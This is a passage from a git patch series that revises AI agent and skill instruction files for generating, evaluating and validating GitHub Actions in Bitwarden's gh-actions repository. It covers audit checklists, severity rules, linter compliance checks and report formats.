Determine the action type from the `runs.using` field in action.yml. +8. Read the implementation file(s): + - Composite: the `run:` blocks are inline in `action.yml` (already read). + - TypeScript: Read `{action-name}/src/main.ts`. + - Docker: Read `{action-name}/main.py`. +9. Read `.github/workflows/test-{action-name}.yml`. If it does not exist, record a Critical finding: "Missing test workflow." +10. Use `Grep` to search for remaining `TODO` comments across all files in `{action-name}/`. If any TODOs remain, record them as findings (severity depends on context). ### Step 2: Input Coverage Audit -For every input declared in `action.yml`: -- [ ] Is it read by the implementation? -- [ ] Is a missing required input handled with a clear error? -- [ ] Is the default value applied when the input is optional and not provided? -- [ ] Is sensitive input data never logged or echoed? +For every input declared in `action.yml`, use `Grep` to search for its name in the implementation files. Verify: + +- [ ] The input is read by the implementation (grep for the input name in implementation files). +- [ ] A missing required input is handled with a clear error message (check for validation logic near where the input is read). +- [ ] The default value declared in action.yml is consistent with any defaults in the implementation. +- [ ] Sensitive input data (per SPEC.md) is never logged, echoed, or printed (grep for `echo`, `console.log`, `print` near the input name). -Flag any input that is declared but unused, or used but undeclared. +**Flag as findings:** +- Input declared in action.yml but never read by implementation: **High** severity. +- Input read by implementation but not declared in action.yml: **Critical** severity. +- Required input with no validation for empty/missing value: **High** severity. +- Sensitive input appearing in log/echo/print statements: **Critical** severity. ### Step 3: Output Coverage Audit -For every output declared in `action.yml`: -- [ ] Is it set by the implementation in all code paths? -- [ ] Is the output value reference in `action.yml` correct (matches step ID)? -- [ ] Is sensitive output data masked before being set? +For every output declared in `action.yml`, use `Grep` to search for where it is set in the implementation. Verify: + +- [ ] The output is set by the implementation (grep for the output name in implementation files). +- [ ] The output is set in all code paths (check conditional branches). +- [ ] For composite actions: the `value` field in action.yml correctly references the step ID that sets it. +- [ ] Sensitive output data (per SPEC.md) is masked before being set. -Flag any output that is declared but never set, or set inconsistently across code paths. +**Flag as findings:** +- Output declared but never set: **Critical** severity. +- Output set in some code paths but not others: **High** severity. +- Output value reference in action.yml does not match step ID: **Critical** severity. +- Sensitive output not masked: **High** severity. ### Step 4: Error Handling Audit -- [ ] Does every external call (API, file I/O, subprocess) have error handling? -- [ ] Are error messages actionable (explain what went wrong and how to fix)? -- [ ] Does the action fail explicitly on unrecoverable errors (not silently succeed)? -- [ ] For composite actions: does the script use `set -e`? -- [ ] For TypeScript: is everything in a try/catch with `core.setFailed()`? -- [ ] For Python: is there a top-level exception handler? +Read through the implementation and verify error handling at each external interaction: + +- [ ] Every external call (API, file I/O, subprocess) has error handling. Use `Grep` to find calls like `fetch`, `exec`, `subprocess`, `curl`, `az`, `gh`, then verify each has a surrounding try/catch, `|| exit 1`, or equivalent. +- [ ] Error messages are actionable (explain what went wrong and suggest a fix). +- [ ] The action fails explicitly on unrecoverable errors (not silently succeeding). +- [ ] For composite actions: every bash `run:` block starts with `set -e`. +- [ ] For TypeScript: the `run()` function is wrapped in try/catch with `core.setFailed()`. +- [ ] For Python: there is a top-level exception handler that calls `sys.exit(1)`. + +**Flag as findings:** +- External call with no error handling: **High** severity. +- Silent failure (error caught but action reports success): **Critical** severity. +- Missing `set -e` in composite bash blocks: **Medium** severity. +- Generic error messages ("An error occurred"): **Medium** severity. ### Step 5: Edge Case Review -Check for: -- [ ] Empty string inputs where non-empty is expected -- [ ] Whitespace-only inputs -- [ ] Inputs with special characters (spaces, quotes, newlines) -- [ ] Missing environment variables that are assumed to exist -- [ ] Actions that depend on runner state (installed tools, file system) -- [ ] Race conditions or ordering issues in multi-step composite actions +Check the implementation for handling of these common edge cases: + +- [ ] Empty string inputs where non-empty is expected. +- [ ] Whitespace-only inputs (check if validation trims before checking). +- [ ] Inputs with special characters (spaces, quotes, newlines) -- especially in bash variable expansions. +- [ ] Missing environment variables that are assumed to exist (e.g., `GITHUB_OUTPUT`, `GITHUB_TOKEN`). +- [ ] Actions that depend on runner state (installed tools, file system paths). +- [ ] Race conditions or ordering issues in multi-step composite actions. + +**Flag as findings:** +- Unquoted variable expansion in bash (`$VAR` instead of `"$VAR"`): **High** severity. +- Missing check for required environment variable: **Medium** severity. +- Assumption about runner tool availability without checking: **Low** severity. ### Step 6: Test Workflow Review -- [ ] Does the test workflow exercise all required inputs? -- [ ] Does it test both success and failure paths? -- [ ] Does it verify outputs (not just "run and hope")? -- [ ] Are test inputs realistic, not just "test" or "foo"? -- [ ] Does each test job have a descriptive name (capitalized per linter rules)? -- [ ] Are there enough test jobs to cover different configurations/modes? +Read `.github/workflows/test-{action-name}.yml` and verify test coverage: + +- [ ] The test workflow exercises all required inputs. +- [ ] Both success and failure paths are tested (at least one job that expects success and one that expects failure where applicable). +- [ ] Output verification steps assert expected values (not just "run and hope"). +- [ ] Test inputs are realistic, not placeholder values like "test" or "foo". +- [ ] Each test job has a descriptive name that starts with a capital letter (workflow linter requirement). +- [ ] There are enough test jobs to cover different configurations or modes described in SPEC.md. + +**Flag as findings:** +- No output verification in any test job: **High** severity. +- Required input not covered by any test: **Medium** severity. +- Only success path tested, no failure path: **Medium** severity. +- Placeholder test inputs: **Low** severity. + +### Step 7: Fix Issues -### Step 7: Report and Fix +Process all findings collected in Steps 2-6: -For each finding: -1. Classify severity: **Critical** (action won't work), **High** (may fail in some cases), **Medium** (quality issue), **Low** (minor improvement) -2. Fix Critical and High issues directly -3. Fix Medium issues directly unless they require a design decision -4. Report Low issues to the user for consideration +1. **Critical** and **High** issues: Fix directly using `Edit` or `Write`. After fixing, update the finding status to "Fixed." +2. **Medium** issues: Fix directly unless the fix requires a design decision that should be made by the user. If so, set status to "Flagged" with an explanation. +3. **Low** issues: Do not fix. Report to the user for consideration. Set status to "Noted." -Append a summary to SPEC.md under a `## Phase 4: Evaluation Results` section. +### Step 8: Report Results + +Append a summary to `{action-name}/SPEC.md` under a `## Phase 4: Evaluation Results` heading using this exact format: + +```markdown +## Phase 4: Evaluation Results + +### Status: PASS / PASS WITH NOTES / FAIL + +### Findings +| # | Severity | Category | Description | Status | +|---|----------|----------|-------------|--------| +| 1 | Critical | Input Coverage | {description} | Fixed | +| 2 | High | Error Handling | {description} | Fixed | +| 3 | Medium | Test Coverage | {description} | Flagged | +| 4 | Low | Edge Cases | {description} | Noted | + +### Summary +- **Critical/High fixed**: {count} +- **Medium flagged**: {count} +- **Low noted**: {count} +- **Overall**: {brief assessment} +``` + +**Zero-findings case:** If all checks pass with no findings: + +```markdown +## Phase 4: Evaluation Results + +### Status: PASS + +### Findings +No issues found. + +### Summary +All inputs, outputs, error handling, edge cases, and test scenarios verified against SPEC.md. Implementation is complete. +``` + +After appending the report, print a summary to the user listing files modified and the finding counts. ## Important Rules -- Read ALL files before making any judgments. -- Do NOT add new features. Only fix gaps in the existing specification. -- Do NOT refactor working code for style preferences. -- Fix issues directly rather than just reporting them, unless the fix requires a user decision. -- Focus on functional correctness, not code aesthetics. +- Read ALL files before making any judgments. Do not flag issues based on partial information. +- Do NOT add new features. Only fix gaps relative to the existing SPEC.md specification. +- Do NOT refactor working code for style preferences. Focus on functional correctness. +- Fix Critical and High issues directly rather than just reporting them. +- Never introduce security regressions when fixing issues (e.g., do not inline `${{ inputs.* }}` in `run:` blocks). +- If a fix would change the action's external interface (inputs, outputs, behavior), flag it to the user instead of fixing silently. + +## Related Skills + +- **define-action**: Produces the SPEC.md this skill evaluates against. Example: `define-action {action-name}` +- **scaffold-action**: Generates skeleton files from SPEC.md. Example: `scaffold-action {action-name}` +- **implement-action**: Replaces TODO placeholders with working code. Run before this skill. Example: `implement-action {action-name}` +- **validate-action**: Checks formatting, structure, and linter compliance. Run after this skill. Example: `validate-action {action-name}` +- **secure-action**: Security assessment and final quality gate. Run last. Example: `secure-action {action-name}` From 35e6e3dc8f067b89c16ff96548153e7d126d65e8 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Fri, 27 Mar 2026 16:58:16 -0400 Subject: [PATCH 07/31] validate validate-action --- .claude/skills/validate-action.md | 195 ++++++++++++++++++++++-------- 1 file changed, 144 insertions(+), 51 deletions(-) diff --git a/.claude/skills/validate-action.md b/.claude/skills/validate-action.md index 21fba506a..1afd1d8f3 100644 --- a/.claude/skills/validate-action.md +++ b/.claude/skills/validate-action.md @@ -1,100 +1,193 @@ --- name: validate-action -description: "Phase 5: Run correctness and compliance checks on a GitHub Action. Validates formatting, structure, build, and Bitwarden workflow linter rules." +description: "Run formatting, structural, and Bitwarden workflow linter compliance checks on a GitHub Action. Fixes issues directly and reports results." +argument-hint: "" +allowed-tools: + - Read + - Edit + - Write + - Glob + - Grep + - Bash(ls:*) + - Bash(npx prettier:*) --- -# Validate Action - Phase 5: Correctness and Compliance Checks +# Validate Action - Correctness and Compliance Checks -You are validating a GitHub Action in the Bitwarden `gh-actions` repository for formatting, structural correctness, and compliance with Bitwarden's workflow linter rules. +Run formatting, structural, and Bitwarden workflow linter compliance checks on a GitHub Action in the Bitwarden `gh-actions` repository. The deliverable is a clean action with all fixable issues resolved and a validation summary reported directly to the user. + +## Input + +This skill accepts a single required argument: the action directory name. + +The directory must contain `action.yml` and implementation files. A test workflow at `.github/workflows/test-{action-name}.yml` should also exist. + +**Examples:** +- `validate-action report-deployment-status-to-slack` +- `validate-action check-permission` ## Procedure -### Step 1: Prettier Formatting +### Step 1: Validate Prerequisites + +1. Run `ls /Users/tyler/dev/gh-actions/{action-name}/` to confirm the directory exists. +2. If the directory does not exist, stop and report: "Directory {action-name}/ not found." +3. Read `{action-name}/action.yml`. If it does not exist, stop and report: "No action.yml found in {action-name}/. Run scaffold-action first." +4. Determine the action type from the `runs.using` field in action.yml (composite, node24, docker). +5. Check for the test workflow at `.github/workflows/test-{action-name}.yml`. If missing, record a Critical finding: "Missing test workflow." -Run Prettier on all generated files: +### Step 2: Prettier Formatting + +Run Prettier to check all action files and the test workflow: ```bash -npx prettier --check "{action-name}/**" -npx prettier --check ".github/workflows/test-{action-name}.yml" +npx prettier --check "/Users/tyler/dev/gh-actions/{action-name}/**" +npx prettier --check "/Users/tyler/dev/gh-actions/.github/workflows/test-{action-name}.yml" ``` -If any files fail, fix them: +If any files fail the check, fix them: ```bash -npx prettier --write "{action-name}/**" -npx prettier --write ".github/workflows/test-{action-name}.yml" +npx prettier --write "/Users/tyler/dev/gh-actions/{action-name}/**" +npx prettier --write "/Users/tyler/dev/gh-actions/.github/workflows/test-{action-name}.yml" ``` -### Step 2: action.yml Structure Validation +Record each file that required formatting as a Low finding. + +### Step 3: action.yml Structure Validation -Verify the `action.yml` file contains all required fields: -- [ ] `name` — present and descriptive -- [ ] `description` — present and descriptive -- [ ] `author` — set to `"Bitwarden"` -- [ ] `branding` — has `icon` and `color` -- [ ] `inputs` — each has `description` and `required` -- [ ] `outputs` — each has `description` and `value` (for composite) -- [ ] `runs` — has correct `using` value for the action type +Read `{action-name}/action.yml` and verify all required fields. Use `Grep` to search for specific keys if needed. -### Step 3: TypeScript Build Validation (if applicable) +- [ ] `name` -- present and descriptive +- [ ] `description` -- present and descriptive +- [ ] `author` -- set to `"Bitwarden"` +- [ ] `branding` -- has both `icon` and `color` properties +- [ ] `inputs` -- each input has `description` and `required` fields +- [ ] `outputs` -- each output has `description`; for composite actions, each also has `value` +- [ ] `runs` -- has correct `using` value for the action type (`composite`, `node24`, or `docker`) -For TypeScript actions: -1. Run `cd {action-name} && npm install && npm run build` -2. Verify `dist/index.js` exists and is non-empty -3. Verify `action.yml` `main` field points to the correct compiled file +**Severity for missing fields:** +- Missing `name`, `description`, or `runs`: **Critical** +- Missing `author` or `branding`: **Medium** +- Input/output missing `description` or `required`: **High** +- Composite output missing `value` reference: **Critical** ### Step 4: Bitwarden Workflow Linter Compliance -Check the test workflow `.github/workflows/test-{action-name}.yml` against all linter rules: +Read `.github/workflows/test-{action-name}.yml` and check it against each linter rule. Use `Grep` to search for specific patterns. Also read one existing test workflow (e.g., `.github/workflows/test-check-permission.yml`) as a reference for expected conventions and pinned SHAs. -**name_exists**: Every workflow and job has a `name` field. +**name_exists** -- every workflow and job must have a `name` field. - [ ] Workflow has top-level `name:` - [ ] Every job has a `name:` field +- Missing name: **High** -**name_capitalized**: Names begin with a capital letter. +**name_capitalized** -- names must begin with a capital letter. - [ ] Workflow name starts with uppercase - [ ] All job names start with uppercase - [ ] All step names start with uppercase +- Lowercase name: **Medium** -**permissions_exist**: `permissions` key is explicitly set. -- [ ] Workflow-level `permissions:` is present, OR -- [ ] Every job has a `permissions:` key +**permissions_exist** -- `permissions` key must be explicitly set. +- [ ] Workflow-level `permissions:` is present, OR every job has a `permissions:` key +- Missing permissions: **High** -**pinned_job_runner**: Runners are pinned to specific versions. +**pinned_job_runner** -- runners must be pinned to specific versions. - [ ] All `runs-on` values use pinned versions (e.g., `ubuntu-24.04`, NOT `ubuntu-latest`) +- Unpinned runner: **High** -**step_pinned**: External actions are pinned to commit SHA. +**step_pinned** -- external actions must be pinned to commit SHA. - [ ] All `uses:` references to external actions use `owner/repo@SHA # vX.Y.Z` format - [ ] Local actions (`./action-name`) are exempt from pinning +- Use `Grep` with pattern `uses:` in the test workflow to find all action references +- Unpinned external action: **High** -**step_approved**: Only approved actions are used. -- [ ] Check all external `uses:` references against Bitwarden's approved actions list -- [ ] Common approved actions: `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact` -- [ ] If an unapproved action is used, flag it and suggest alternatives +**step_approved** -- only approved actions are used. +- [ ] Check all external `uses:` references against commonly approved actions: `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact` +- [ ] If an unapproved action is found, record it as **High** and suggest alternatives +- Use `Grep` across existing test workflows to see which actions are commonly used in this repo -**underscore_outputs**: Outputs use underscores. -- [ ] All output names in `action.yml` use underscores (not hyphens) for multi-word names -- [ ] All output references in workflow files use underscore format +**underscore_outputs** -- multi-word output names must use underscores. +- [ ] All output names in `action.yml` use underscores (not hyphens) +- [ ] All output references in the test workflow use underscore format +- Hyphenated output name: **High** -**job_environment_prefix**: Environment variable naming conventions. +**job_environment_prefix** -- environment variable naming conventions. - [ ] Job-level environment variables follow Bitwarden naming conventions +- Non-conforming env var: **Medium** -**check_pr_target**: If `pull_request_target` trigger is used, it only runs on default branch. +**check_pr_target** -- if `pull_request_target` trigger is used, it must only run on the default branch. +- [ ] If present, verify it targets `main` +- Unrestricted pull_request_target: **Critical** -### Step 5: File Naming Convention +### Step 5: File Naming Conventions -- [ ] Action directory is kebab-case +- [ ] Action directory name is kebab-case (lowercase letters, numbers, hyphens only) - [ ] Test workflow is named `test-{action-name}.yml` - [ ] Source files follow language conventions (camelCase for TS, snake_case for Python) +- Non-conforming name: **Medium** + +### Step 6: Fix Issues + +Process all findings from Steps 2-5: + +1. **Critical** and **High** issues: Fix directly using `Edit` or `Write`. After fixing, update the finding status to "Fixed." +2. **Medium** issues: Fix directly unless the fix requires a design decision. If so, set status to "Flagged" with an explanation. +3. **Low** issues: Do not fix. Set status to "Noted." +4. After all fixes, re-run Prettier to ensure fixed files are properly formatted: + ```bash + npx prettier --write "/Users/tyler/dev/gh-actions/{action-name}/**" + npx prettier --write "/Users/tyler/dev/gh-actions/.github/workflows/test-{action-name}.yml" + ``` -### Step 6: Report Results +### Step 7: Report Results -Append a summary to SPEC.md under a `## Phase 5: Validation Results` section listing: -- All checks passed -- Any issues found and how they were resolved -- Any remaining issues that need manual attention +Print a validation summary directly to the user. Do NOT append results to SPEC.md — validation findings are mechanical and transient, not useful to downstream phases. + +Use this format: + +``` +Validation complete for {action-name}: {PASS / PASS WITH NOTES / FAIL} + +Findings: +| # | Severity | Category | Description | Status | +|---|----------|----------|-------------|--------| +| 1 | High | Linter Compliance | {description} | Fixed | +| 2 | Medium | Structure | {description} | Flagged | +| 3 | Low | Formatting | {description} | Noted | + +Summary: +- Critical/High fixed: {count} +- Medium flagged: {count} +- Low noted: {count} +- Files modified: {list} +``` + +**Status criteria:** +- **PASS**: Zero findings, or all findings were Low/Noted. +- **PASS WITH NOTES**: All Critical/High fixed, some Medium flagged for user review. +- **FAIL**: Any Critical/High issue could not be fixed (e.g., unapproved action with no alternative). + +**Zero-findings case:** + +``` +Validation complete for {action-name}: PASS + +All formatting, structural, and linter compliance checks passed. +``` ## Important Rules - Fix all formatting and structural issues directly. Do not just report them. -- For linter compliance issues, fix them if possible. If the fix requires using an unapproved action, flag it to the user. -- Always run Prettier AFTER making any fixes to ensure final files are formatted. -- The pinned SHA for `actions/checkout` should match what other test workflows in the repo use. Read an existing test workflow to get the current SHA. +- For linter compliance issues, fix them if possible. If a fix requires using an unapproved action, flag it to the user rather than removing the action. +- Always run Prettier AFTER making any fixes to ensure final files are formatted correctly. +- The pinned SHA for `actions/checkout` must match what other test workflows in the repo use. Read an existing test workflow (e.g., `test-check-permission.yml`) to get the current SHA. +- Do NOT change implementation logic. This skill only validates and fixes formatting, structure, and compliance. +- Do NOT add new features or refactor code. Focus strictly on correctness and compliance. +- Output names must use underscores, not hyphens (workflow linter requirement). +- Runners must be pinned to `ubuntu-24.04` (not `ubuntu-latest`). + +## Related Skills + +- **define-action**: Produces the SPEC.md that defines the action's requirements. Example: `define-action {action-name}` +- **scaffold-action**: Generates skeleton files from SPEC.md. Example: `scaffold-action {action-name}` +- **implement-action**: Replaces TODO placeholders with working code. Run before this skill. Example: `implement-action {action-name}` +- **evaluate-action**: Reviews implementation completeness against SPEC.md. Example: `evaluate-action {action-name}` +- **secure-action**: Security assessment and final quality gate. Run after this skill. Example: `secure-action {action-name}` From b934fbbd4058b01d57cee1834edb00c06ff110b5 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Fri, 27 Mar 2026 16:59:06 -0400 Subject: [PATCH 08/31] action-generator validate-action reporting --- .claude/agents/action-generator.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.claude/agents/action-generator.md b/.claude/agents/action-generator.md index 9c5d9483b..c434fb1d7 100644 --- a/.claude/agents/action-generator.md +++ b/.claude/agents/action-generator.md @@ -124,7 +124,7 @@ If Critical or High issues were flagged but not fixed, loop back to Phase 3 (Imp Invoke the `validate-action` skill. -**Verification**: Check the validation results. If Prettier or linter issues remain unfixed, re-invoke the skill once. If issues persist, flag to the user. +**Verification**: The skill reports results directly (it does not write to SPEC.md). Check the reported status: PASS, PASS WITH NOTES, or FAIL. If FAIL (unfixed Critical/High issues), re-invoke the skill once. If issues persist, flag to the user. ### Phase 6: Secure From 3d7bb39cc85e0acfd08a08fd4116b3ebb17f0271 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Fri, 27 Mar 2026 17:25:20 -0400 Subject: [PATCH 09/31] corresponds with the remove of the secure-action --- .claude/agents/action-generator.md | 34 ++++++++++++------------------ .claude/skills/define-action.md | 8 ++++--- .claude/skills/evaluate-action.md | 1 - .claude/skills/implement-action.md | 1 - .claude/skills/scaffold-action.md | 1 + .claude/skills/validate-action.md | 1 - 6 files changed, 19 insertions(+), 27 deletions(-) diff --git a/.claude/agents/action-generator.md b/.claude/agents/action-generator.md index c434fb1d7..6ea52cc9e 100644 --- a/.claude/agents/action-generator.md +++ b/.claude/agents/action-generator.md @@ -1,6 +1,6 @@ --- name: action-generator -description: "Orchestrates the phased generation of a new custom GitHub Action. Delegates to focused skills for each phase: define, scaffold, implement, evaluate, validate, secure." +description: "Orchestrates the phased generation of a new custom GitHub Action. Delegates to focused skills for each phase: define, scaffold, implement, evaluate, validate." tools: - Bash - Edit @@ -14,7 +14,7 @@ tools: # Action Generator Agent -You are the orchestrating agent for creating new custom GitHub Actions in the Bitwarden `gh-actions` repository. You coordinate 6 focused skills in sequence, handling phase transitions and decision gates. +You are the orchestrating agent for creating new custom GitHub Actions in the Bitwarden `gh-actions` repository. You coordinate 5 focused skills in sequence, handling phase transitions and decision gates. ## Your Role @@ -40,7 +40,6 @@ Review gates are flow control checkpoints where you present an artifact to the u **When to gate:** - **After Phase 1 (Define)**: Always. The SPEC.md is the contract for everything downstream. Present inputs, outputs, integrations, and behavior for approval. - **After Phase 4 (Evaluate)**: Only if findings require a design decision (e.g., "this input is never used — remove it or is it needed?"). Auto-fixed issues do not need a gate. -- **After Phase 6 (Secure)**: Only if Critical or High findings could not be auto-fixed and require user guidance. **When NOT to gate:** - After scaffold (Phase 2) — boilerplate generation is deterministic from the approved spec. @@ -126,17 +125,6 @@ Invoke the `validate-action` skill. **Verification**: The skill reports results directly (it does not write to SPEC.md). Check the reported status: PASS, PASS WITH NOTES, or FAIL. If FAIL (unfixed Critical/High issues), re-invoke the skill once. If issues persist, flag to the user. -### Phase 6: Secure - -Invoke the `secure-action` skill. - -**Verification**: This skill will also convert SPEC.md to CLAUDE.md. Confirm: -- `{action-name}/CLAUDE.md` exists -- `{action-name}/SPEC.md` has been removed -- Security assessment passed (no unresolved Critical/High findings) - -**Conditional Review Gate**: If Critical or High security findings could not be auto-fixed, present them to the user with the risk and ask for guidance before finalizing. Do not proceed with unresolved Critical findings. - ## Phase Transition Communication Between each phase, briefly tell the user: @@ -154,10 +142,14 @@ Keep updates concise — one or two sentences per transition. Do not repeat info ## Completion -After all 6 phases complete successfully, provide a summary: -1. Action name and type -2. Files created (list all) -3. Key implementation details -4. Security assessment result -5. Any recommendations for manual follow-up (e.g., "add secrets to test repo", "submit for action approval") -6. Remind the user to run the test workflow after merging +After all 5 phases complete successfully: + +1. **Clean up**: Delete `{action-name}/SPEC.md` — it is an internal artifact that has served its purpose. The action's authoritative documentation is action.yml, README.md, and the code itself. + +2. **Summary**: Provide a final report: + - Action name and type + - Files created (list all) + - Key implementation details + - Any recommendations for manual follow-up (e.g., "add secrets to test repo", "submit for action approval") + - Remind the user to run the test workflow after merging + - Note that security review will occur during the PR process via existing review tooling diff --git a/.claude/skills/define-action.md b/.claude/skills/define-action.md index 9b6843c4f..c0143f843 100644 --- a/.claude/skills/define-action.md +++ b/.claude/skills/define-action.md @@ -132,6 +132,8 @@ The `SPEC.md` file must follow this exact structure: ## Related Skills -After producing SPEC.md, recommend the user run: -- `scaffold-action {action-name}` to generate boilerplate files from the specification. -- Then `implement-action {action-name}` to write the working implementation. +After producing SPEC.md, the next steps in the pipeline are: +- **scaffold-action**: Generate boilerplate files from the specification. Example: `scaffold-action {action-name}` +- **implement-action**: Write the working implementation. Example: `implement-action {action-name}` +- **evaluate-action**: Review implementation completeness. Example: `evaluate-action {action-name}` +- **validate-action**: Check formatting and linter compliance. Example: `validate-action {action-name}` diff --git a/.claude/skills/evaluate-action.md b/.claude/skills/evaluate-action.md index 63f95f3ee..81e039049 100644 --- a/.claude/skills/evaluate-action.md +++ b/.claude/skills/evaluate-action.md @@ -186,4 +186,3 @@ After appending the report, print a summary to the user listing files modified a - **scaffold-action**: Generates skeleton files from SPEC.md. Example: `scaffold-action {action-name}` - **implement-action**: Replaces TODO placeholders with working code. Run before this skill. Example: `implement-action {action-name}` - **validate-action**: Checks formatting, structure, and linter compliance. Run after this skill. Example: `validate-action {action-name}` -- **secure-action**: Security assessment and final quality gate. Run last. Example: `secure-action {action-name}` diff --git a/.claude/skills/implement-action.md b/.claude/skills/implement-action.md index b0d5140a9..1502c72fa 100644 --- a/.claude/skills/implement-action.md +++ b/.claude/skills/implement-action.md @@ -163,4 +163,3 @@ If any TODOs remain that could not be resolved (e.g., require external credentia - **scaffold-action**: Generates the skeleton files this skill fills in. Run it after define-action. Example: `scaffold-action {action-name}` - **evaluate-action**: Reviews completeness of the implementation. Run after this skill. Example: `evaluate-action {action-name}` - **validate-action**: Checks formatting, structure, and linter compliance. Example: `validate-action {action-name}` -- **secure-action**: Security assessment and final quality gate. Example: `secure-action {action-name}` diff --git a/.claude/skills/scaffold-action.md b/.claude/skills/scaffold-action.md index 761048c86..2a322b060 100644 --- a/.claude/skills/scaffold-action.md +++ b/.claude/skills/scaffold-action.md @@ -307,4 +307,5 @@ Next step: Run the implement-action skill to replace TODO placeholders with work - **define-action**: Run first to produce the SPEC.md this skill consumes. Example: `define-action {action-name}` - **implement-action**: Run after scaffolding to replace TODO placeholders with working code. Example: `implement-action {action-name}` +- **evaluate-action**: Reviews implementation completeness against SPEC.md. Example: `evaluate-action {action-name}` - **validate-action**: Run after implementation to check formatting, structure, and linter compliance. Example: `validate-action {action-name}` diff --git a/.claude/skills/validate-action.md b/.claude/skills/validate-action.md index 1afd1d8f3..d9bb1d9a8 100644 --- a/.claude/skills/validate-action.md +++ b/.claude/skills/validate-action.md @@ -190,4 +190,3 @@ All formatting, structural, and linter compliance checks passed. - **scaffold-action**: Generates skeleton files from SPEC.md. Example: `scaffold-action {action-name}` - **implement-action**: Replaces TODO placeholders with working code. Run before this skill. Example: `implement-action {action-name}` - **evaluate-action**: Reviews implementation completeness against SPEC.md. Example: `evaluate-action {action-name}` -- **secure-action**: Security assessment and final quality gate. Run after this skill. Example: `secure-action {action-name}` From e4a756706f298ba145085ae847a440d0662a4cae Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Fri, 27 Mar 2026 17:36:46 -0400 Subject: [PATCH 10/31] agent and skill ascii diagram --- .claude/agents/action-generator.md | 5 ++++- .claude/skills/define-action.md | 15 ++++++++++++++- 2 files changed, 18 insertions(+), 2 deletions(-) diff --git a/.claude/agents/action-generator.md b/.claude/agents/action-generator.md index 6ea52cc9e..d4676b776 100644 --- a/.claude/agents/action-generator.md +++ b/.claude/agents/action-generator.md @@ -146,8 +146,11 @@ After all 5 phases complete successfully: 1. **Clean up**: Delete `{action-name}/SPEC.md` — it is an internal artifact that has served its purpose. The action's authoritative documentation is action.yml, README.md, and the code itself. -2. **Summary**: Provide a final report: +2. **Final architecture diagram**: Read the implemented action files (action.yml, implementation code) and generate a final ASCII architecture diagram reflecting what was actually built. This replaces the draft diagram from SPEC.md — it should show actual step names, real integration calls, and implemented error handling paths. Use box-drawing characters (`┌ ─ ┐ │ └ ┘ ├ ┤ ┬ ┴ ┼ ▼ ▶`) for clean rendering. + +3. **Summary**: Provide a final report: - Action name and type + - Final architecture diagram - Files created (list all) - Key implementation details - Any recommendations for manual follow-up (e.g., "add secrets to test repo", "submit for action approval") diff --git a/.claude/skills/define-action.md b/.claude/skills/define-action.md index c0143f843..7571bccda 100644 --- a/.claude/skills/define-action.md +++ b/.claude/skills/define-action.md @@ -78,7 +78,14 @@ Gather all of the following in as few rounds as possible. Present the full list ### Step 4: Write SPEC.md 1. Run `mkdir -p /Users/tyler/dev/gh-actions/{action-name}` to create the action directory. -2. Write `SPEC.md` to `/Users/tyler/dev/gh-actions/{action-name}/SPEC.md` using the template below. +2. Generate an ASCII architecture diagram for the `## Architecture Diagram` section. The diagram should show: + - All inputs flowing into the action (mark sensitive inputs) + - Processing steps in execution order (validation → core logic → output setting) + - Integration points (Azure, GitHub API, external services) as callouts + - All outputs flowing out + - Error/failure paths where applicable + - Use box-drawing characters (`┌ ─ ┐ │ └ ┘ ├ ┤ ┬ ┴ ┼ ▼ ▶`) for clean rendering +3. Write `SPEC.md` to `/Users/tyler/dev/gh-actions/{action-name}/SPEC.md` using the template below. ## Output Format @@ -116,6 +123,12 @@ The `SPEC.md` file must follow this exact structure: - **Platforms**: {ubuntu-only / cross-platform} - **Permissions**: {required GitHub token permissions} +## Architecture Diagram + +\`\`\` +{ASCII diagram showing: inputs → processing steps → outputs, with integrations and error paths} +\`\`\` + ## Implementation Notes {Any additional context about expected behavior, edge cases, etc.} ``` From f37fc468a3f9bf389a3985fbe4a950d1820bc90e Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Fri, 27 Mar 2026 17:45:41 -0400 Subject: [PATCH 11/31] manage readme specification --- .claude/skills/implement-action.md | 22 ++++++++++++--- .claude/skills/scaffold-action.md | 43 +++++++++++++++++++++--------- 2 files changed, 49 insertions(+), 16 deletions(-) diff --git a/.claude/skills/implement-action.md b/.claude/skills/implement-action.md index 1502c72fa..18c972964 100644 --- a/.claude/skills/implement-action.md +++ b/.claude/skills/implement-action.md @@ -103,7 +103,22 @@ fi - Provide actionable error messages (not just "failed" -- explain what went wrong and suggest a fix). - Never expose sensitive data in error messages (tokens, secrets, internal URLs). -### Step 6: Update Test Workflow +### Step 6: Populate README.md + +Read `{action-name}/README.md` (scaffolded with section headings and TODO placeholders), then edit it: + +1. **Inputs table**: Populate from the final `action.yml` inputs — name, description, required, default. Use the actual implemented values, not the spec. +2. **Outputs table**: Populate from the final `action.yml` outputs — name, description. +3. **Usage section**: Write a basic usage example showing the action invoked with all required inputs and realistic values. If the action has multiple modes or configurations (per SPEC.md), add an additional example for each. +4. **Features section** (if present): Write 2-4 bullet points describing the action's key capabilities. +5. **Prerequisites section** (if present): Document any required setup (Azure credentials, tool installation, etc.). +6. **Permissions section** (if present): Document the GitHub token permissions the action requires. +7. **Development section** (if present, TypeScript only): Document `npm install` and `npm run build` commands. +8. Remove all remaining TODO/placeholder comments from the README. + +Reference existing READMEs for style — read `check-permission/README.md` or `api-commit/README.md` for well-structured examples. + +### Step 7: Update Test Workflow Read `.github/workflows/test-{action-name}.yml`, then edit it: 1. Replace TODO comments with actual test scenarios from SPEC.md. @@ -113,7 +128,7 @@ Read `.github/workflows/test-{action-name}.yml`, then edit it: 5. Ensure each test job has a descriptive, capitalized name (workflow linter requirement). 6. Reference the multi-job pattern from `.github/workflows/test-check-permission.yml` if needed. -### Step 7: Build (TypeScript Only) +### Step 8: Build (TypeScript Only) For TypeScript actions only: 1. Run `cd {action-name} && npm install` to install dependencies. @@ -123,7 +138,7 @@ For TypeScript actions only: Skip this step for Composite and Docker actions. -### Step 8: Report Results +### Step 9: Report Results List all files modified and summarize what was implemented: @@ -132,6 +147,7 @@ Implementation complete for {action-name}: Modified files: - {action-name}/action.yml -- core logic, input validation, output setting + - {action-name}/README.md -- 